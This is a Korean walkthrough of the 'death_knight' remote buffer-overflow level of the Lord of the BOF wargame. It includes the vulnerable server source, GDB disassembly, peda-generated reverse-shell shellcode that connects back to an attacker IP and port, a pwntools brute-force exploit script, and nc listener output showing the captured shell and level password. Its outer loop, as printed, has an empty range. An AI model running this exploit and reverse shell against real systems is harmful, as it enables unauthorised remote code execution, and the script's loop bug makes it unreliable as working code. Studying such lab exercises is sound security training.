xavius / beg for me
/*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>
main()
{
char buffer[40];
int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}
if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}
if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}
close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}
소켓 프로그래밍을 이용해 서버를 구현하는 코드다. 소켓 프로그래밍은 낯설텐데 뭔가 많아 보여도 세팅과정일 뿐이라 버퍼오버플로우에선 신경 쓰지 않아도 된다. 주목할 점은 6666번 포트를 오픈하여 리스닝하는 것이다.
fork 함수는 자식 프로세스를 만드는 함수다. 부모 프로세스는 fork 함수의 반환값이 자식 프로세스의 pid이며 자식 프로세스는 fork 함수의 반환값이 0이다. 따라서 부모 프로세스는 연결 요청을 수락하고 자식 프로세스를 생성하여 통신을 처리한다. if(!fork())는 자식 프로세스만이 만족하므로 if 문 내부는 자식함수들이 send, recv 즉, 통신한다.
힌트에서도 주어졌듯이 오버플로우 공격문은 단순한데 remote BOF라 소켓 통신을 이용해서 BOF를 실행한다는 점이 다를 뿐이다. buffer의 크기는 40 bytes인데 client로부터 256 bytes를 recv 하므로 BOF 공격이 가능하다.
0x8048a05 <main+321>: push 0
0x8048a07 <main+323>: push 0x100
0x8048a0c <main+328>: lea %eax,[%ebp-40]
0x8048a0f <main+331>: push %eax
0x8048a10 <main+332>: mov %eax,DWORD PTR [%ebp-48]
---Type <return> to continue, or q <return> to quit---
0x8048a13 <main+335>: push %eax
0x8048a14 <main+336>: call 0x804860c <recv>
recv의 두 번째 인자가 buffer이기에 ebp-40에 존재함을 알 수 있다. 따라서 기본적인 스택 구조는 buffer(40 bytes)+sfp(4 bytes)+ret addr(4 bytes) 형태이기에 공격문은 다음과 같이 설정한다.
dummy(44 bytes)+ret addr(4 bytes)+ 리버스 쉘 코드
ret addr은 리버스 쉘 코드의 주소로 설정하면 리버스 쉘 코드로 리턴되어 리버스 쉘 코드가 실행될 것이다. 리버스 쉘이란 클라이언트(공격자)가 리스닝 포트를 열고 서버(희생자)에서 클라이언트에 쉘을 들고 와서 붙는 형태이다. 리버스 쉘 코드를 희생자에게서 실행하면 공격자가 희생자의 쉘을 제어할 수 있다.
필자는 peda를 이용하여 ip는 172.25.174.237, port는 4444번으로 설정하여 리버스 쉘 코드를 만들었다.
gdb-peda$ shellcode generate x86/linux connect 4444 172.25.174.237
# x86/linux/connect: 70 bytes
# port=4444, host=172.25.174.237
shellcode = (
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xac\x19\xae\xed\x66\x68"
"\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80"
)
파이썬으로 익스플로잇 코드를 만들자.
from pwn import *
shell=(
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xac\x19\xae\xed\x66\x68"
"\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80"
)
for i in range(0x00,0xff,-1):
for j in range(0x00,0xff,1):
p=remote("192.168.93.128",6666)
payload = "A"*44 + chr(j) + chr(i) + "\xff\xbf" + "\x90"*100 + shell
p.recvuntil("You : ")
p.send(payload)
p.close()
pwntools 라이브러리를 이용한다. remote를 이용해 LOB서버의 6666번 포트에 연결하고 리턴 주소를 정확히 알 수 없기에 0x00부터 0xFF까지 각 경우에 대하여 매번 연결 요청하여 브루트포스 방식으로 버퍼 오버플로우 공격을 수행한다. 스택이기에 상위 2 bytes는 0xbfff로 고정했다. 연결되면 LOB서버에서 Death Knight : ~부터 You : 까지 클라이언트에게 전송하기에 recvuntil을 이용해 You : 까지 수신해준 뒤 만든 payload를 전송함으로써 공격을 수행 후 연결을 종료한다. 만약 쉘을 획득한다면 연결이 종료되어도 명령을 수행할 수 있다.
fork를 통해 자식 프로세스를 만들면 부모 프로세스의 스택, 힙, 데이터, 코드 영역 값이 복사되며 주소값도 동일하다. 하지만 이는 가상 주소이기에 부모나 자식 프로세스에서 변수의 값을 바꾸면 변수에 매핑되는 물리 주소는 서로 달라진다. 따라서 변수의 주소값은 동일하게 유지되기에 0x00부터 0xFF까지 대입하다보면 무조건 공격이 성공할 수밖에 없다.
[xavius@localhost xavius]$ netstat -antp | grep 6666
(No info could be read for "-p": geteuid()=519 but you should be root.)
tcp 0 0 0.0.0.0:6666 0.0.0.0:* LISTEN -
LOB에서 netstat 명령을 실행하면 이미 6666번 포트가 LISTEN 상태임을 알 수 있다. 따라서 death_knight가 이미 실행되고 있기에 다시 실행하려고 하면 에러만 뜰 것이다. 0.0.0.0은 모든 ip를 의미하는데 왼쪽이 local 오른쪽이 foreign이다. 왼쪽의 0.0.0.0은 서버에 할당된 모든 ip의 6666번 포트를 열었다는 뜻이고 오른쪽의 0.0.0.0:*은 모든 ip의 모든 포트로부터의 연결 요청을 받는다는 뜻이다.
hdg@LAPTOP-T8ULMV8T:~$ nc -lv 4444
Listening on LAPTOP-T8ULMV8T 4444
my-pass
내 pc에서도 nc를 이용해 4444번 포트를 리스닝 상태로 만들었다.
-l(listen) : 리스닝 상태
-v(verbose) : 세부 정보 출력
my-pass 명령을 미리 입력하고 대기한다.(미리 입력 안해도 괜찮음)
이제 python 코드를 실행할 차례다.
hdg@LAPTOP-T8ULMV8T:~$ python revsh.py
[+] Opening connection to 192.168.93.128 on port 6666: Done
revsh.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("You : ")
revsh.py:15: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
p.send(payload)
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
(생략)
코드를 실행하면 연결의 맺고 끊김이 계속 반복된다.
hdg@LAPTOP-T8ULMV8T:~$ nc -lv 4444
Listening on LAPTOP-T8ULMV8T 4444
my-pass
Connection received on LAPTOP-T8ULMV8T 4545
euid = 520
got the life
어느 순간 쉘을 획득하고 my-pass 명령 실행 결과가 출력된다.
death_knight의 비밀번호는 got the life